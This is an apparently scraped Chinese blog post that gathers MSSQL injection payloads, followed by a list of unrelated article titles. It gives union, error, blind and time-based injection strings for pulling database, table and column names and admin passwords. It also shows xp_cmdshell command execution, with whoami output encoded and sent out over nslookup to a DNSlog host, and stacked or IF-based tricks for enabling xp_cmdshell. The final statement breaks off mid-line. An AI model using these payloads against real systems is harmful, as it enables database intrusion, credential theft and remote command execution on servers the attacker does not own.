当前位置: 首页 > article >正文

个人MSSQL总结及收集

常规MSSQL注入

判断是否站库分离

1、得到客户端主机名:
select host_name();

2、得到服务端主机名:
select @@servername;

如下所示,就是一个典型的站库分离
@@servername > 0
select host_name > 0
image.png

基本语法:
select  host_name();
select  current_user; 查看当前用户——显示dbo,其实dbo和sa是一个东西,一个是登录名一个是用户名
select  db_name(); 查看当前库名
select * from sysobject 查询数据库里所有的表,里面有多个字段,xtype=U为用户创建的表名,uid为所有者对象的用户ID
image.png
select object_id(‘xxxx’) 查询特定的数据表,返回一个id
select object_name(‘123456’) 查询特定的id,返回一个表名
select col_name(‘123456’,1) 查询特定ID(特定表)的特定字段,返回此字段(column)的值
image.png

基础知识

**Sysdatabases表:**该表保存在master数据库中,这个表中保存的是所有的库名,以及库的ID,和一些相关信息
**Sysobjects表: **SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象,如约束、 默认值、日志、规则、存储过程等,每个对象在表中占一行。
以下是此系统表的字段名称和相关说明:
**Name, id, xtype, uid, status: **分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。
**当xtype=‘U’ and status>0 **代表是用户建立的表,对象名就是表名,对象ID就是表的ID值。
**Syscolumns表:**该表位于每个数据库中。主要字段有: name , id, colid :分别是字段名称,表ID号,
字段ID号,其中的 ID 是用sysobjects得到的表的ID号

内置系统查询表
select name from master…sysdatabases; //查找所有的数据库名
image.png
SELECT name FROM master…sysdatabases WHERE name NOT IN ( ‘master’,‘model’, ‘msdb’, ‘tempdb’, ‘northwind’,‘pubs’ ); //查找所有的数据库名
image.png

select name from sysobjects where xtype=‘U’; //查找所有用户创建的数据表

select name from test…sysobjects where xtype=‘U’ //查找指定test库下所有表名
image.png
select name from syscolumns where id=(select id from 数据库名…sysobjects where name=‘表名’)
//列出指定库下的表下面的列名

如:select name from syscolumns where id=(select id from test..sysobjects where name='dtest')

image.png
或者
select name from test.dbo.syscolumns where id=(select id from test.dbo.sysobjects where (xtype=‘U’ or xtype=‘V’ ) and name=‘dtest’)
test为库名,dtest为表名, cmd为字段名
image.png
知道了表名和列名,剩下的就无需多言了
select * from test…dtest;
select count(*) from test…dtest
image.png
select top 10 cmd from test…dtest

1)MSSQL的联合查询:

1、id=1%’ order by 4 – Order by 判断列数
2、id=1%’ union all select 1,2,3,4 –     判断回显位置
3、id=1%’ union all select ‘1’,db_name(),‘3’,‘4’   –  判断当前数据库
4、id=1%’ union all select ‘1’,name,‘3’,‘4’,5,6 from ST_WebCourse…sysobjects where xtype=‘U’ –  
判断数据库下面的表名
5、id= 1%’ union all select ‘1’,name,‘3’,‘4’,5,6 from ST_Webcourse…syscolumns where
id=(select id from ST_Webcourse…sysobjects where name=‘ST_admin’) –
判断数据表的列名
6、
id=1%’ union all select ‘1’,admin,‘3’,‘4’,5,6 from ST_admin – ; 获取账户名
id=1%’ union all select ‘1’,pass,‘3’,‘4’,5,6 from ST_admin –      获取密码

2)MSSQL的报错注入:

1、and 1=(select @@version) )   // 获取数据库版本
1.1、and 1=1/@@version 换种方式
image.png
2、id =‘1’ and 1=2 and (select id from sysobjects)>0 //判断当前数据库是否为mssql
3、id=1 and 1=(select current_user)   获取数据库当前用户
4、1%’ and 1=(select db_name())  –  获取当前数据库名
image.png
5、获取test数据库的第一个表名
1’ and 1=(select top 1 name from test…sysobjects where xtype=‘U’ and name not in (select top 1 name from   test…sysobjects where xtype=‘U’))  –   
或者
select ID from Table_1 where id =convert(integer,(select top 1 name from test…sysobjects where xtype=‘U’ and name not in (select top 1 name from   test…sysobjects where xtype=‘U’)))  –
6、MSSQL报错可以用整数型报错,强转型报错以及cast
convert(integer,user)–
1=cast(host_name() as int) --+
select cast(db_name() as char)
image.png

3)MSSQL的盲注

1、?id=1 and substring((select db_name()),1,1)= CHAR(106)  判断当前数据库第一个字符为106

4)时间盲注

id=1’;waitfor delay ‘0:0:5’ – 如果是sysadmin权限,则延时5秒
1’;if ( select IS_SRVROLEMEMBER(‘sysadmin’))=1 WAITFOR DELAY ‘0:0:5’–
image.png

5)mssql带外注入

1、在某些情况下,sqlmap使用os-shell来获取权限需要堆叠,不是它说没有就没有(有时候它会抽风),
此时我们可以进行DNS外带的验证,前提是要出网
1、
select * from table_1 where id=‘1’;exec master…xp_cmdshell ‘whoami>C:\ProgramData\temp && certutil -encode C:\ProgramData\temp C:\ProgramData\temp1 && findstr /L /V “CERTIFICATE” C:\ProgramData\temp1>C:\ProgramData\temp2’;
image.png
此时temp2内容为——bXNpXGFkbWluaXN0cmF0b3INCg==

因为ping不支持等于号,所以建议使用Nslookup
2、select * from table_1 where id=‘1’;exec master…xp_cmdshell ““cmd /v /c “set /p MYVAR=<C:\ProgramData\temp2 && set FINAL=!MYVAR!.1b422054.toxiclog.xyz && nslookup !FINAL!”””;

如果不使用cmd 参数的话,原生系统CMD为
set /p MYVAR=<C:\ProgramData\temp2 && set FINAL=%MYVAR%.1b422054.toxiclog.xyz && nslookup %FINAL%
image.png
image.png

2、DNSlog不能出网的话,手工验证堆叠注入是否成功可以使用网站延时来判断,如使用
id=1;exec master…xp_cmdshell “cmd /c ping www.baidu.com -n 50” 这样就会先执行50次ping再返回,如果的确是延时了,那么就存在堆叠且执行了命令

mssql手工注入文章
https://www.cnblogs.com/yuanshu/p/11761185.html
https://www.freebuf.com/articles/others-articles/266220.html


突破不能堆叠开权限

**大部分情况下可以开启xp_cmdshell的两个条件:**需要堆叠注入,需要权限
xp_cmdshell   被禁用咋办
MSSQL提权之sp_oacreate
https://www.jianshu.com/p/e79d2a42338b
来源: https://www.wiz.cn/wapp/pages/history/note/9eeaf890-a9fd-11e9-acb6-75b9e7d061a8/8b0114ba-181f-4b26-bb37-dc485b10e10d?&l=zh-cn&clientType=x86&clientVersion=4.13.12.0&p=wiz

http://cn-sec.com/archives/78023.html
通过不能堆叠来开启xp_cmdshell
首先这种方法的局限性会提示

此时需要开启
exec sp_configure ‘show advanced options’,1
reconfigure
exec sp_configure ‘Ad Hoc Distributed Queries’,1
reconfigure

因此该方法在实际的运用中局限性还是很大的,因为在 mssql2005 及其以后,mssql对系统存储过程做了权限控制,Ad Hoc Distributed Queries组件默认是不被启用的。

其原理如下,可在IF的条件下,后面可以紧跟sql_statement 语句
IF Boolean_expression  
    { sql_statement | statement_block }  
[ ELSE  
    { sql_statement | statement_block } ]

实际效果
select * from table_1 where id=1 if 1=1 execute(‘exec sp_configure ‘‘show advanced options’’,
1;reconfigure;exec sp_configure ‘‘xp_cmdshell’’, 1;reconfigure;exec x

http://www.lryc.cn/news/2420188.html

相关文章:

  • idea打包生成generated文件,强迫症就很烦
  • MySQL索引基础到原理讲解,一篇文章就够了!
  • solr快速上手:solr简介、安装并设置开机自启(一)
  • 22款超好用的CLI工具
  • #MATLAB绘图--------气泡图绘制#
  • NVL函数,NVL2函数的使用,查询日期天数
  • 有趣的HTML实例(二) 404页面
  • Jetty9容器安装与使用
  • 小白必看的Ubuntu20.04安装教程(图文讲解)
  • CentOS安装桌面环境GNOME
  • 图形图像基础 之 jpeg介绍
  • TRUNC() 函数的使用
  • 如何查看电脑配置信息
  • reactor模式学习
  • springboot配置Hikari连接池
  • DECODE()函数
  • Cassandra数据模型与数据分区
  • NIST数字测试套件使用说明
  • c语言中instr函数,InStr 函数
  • C++:strcpy、strncpy、strcpy_s、strncpy_s区别
  • Iceberg写入过程
  • Java多线程(吐血超详细整理)
  • AOP与OOP有什么区别
  • Java发送Http请求(HttpClient)
  • sm2和sm4加密算法浅析
  • 【C语言】动态内存管理 - malloc等函数详解
  • Loki 学习总结(1)—— Loki 中小项目日志系统的不二之选
  • 事物(Transaction)
  • 机器学习——神经网络(BP)
  • 【Web前端】“CSS”选择器是什么?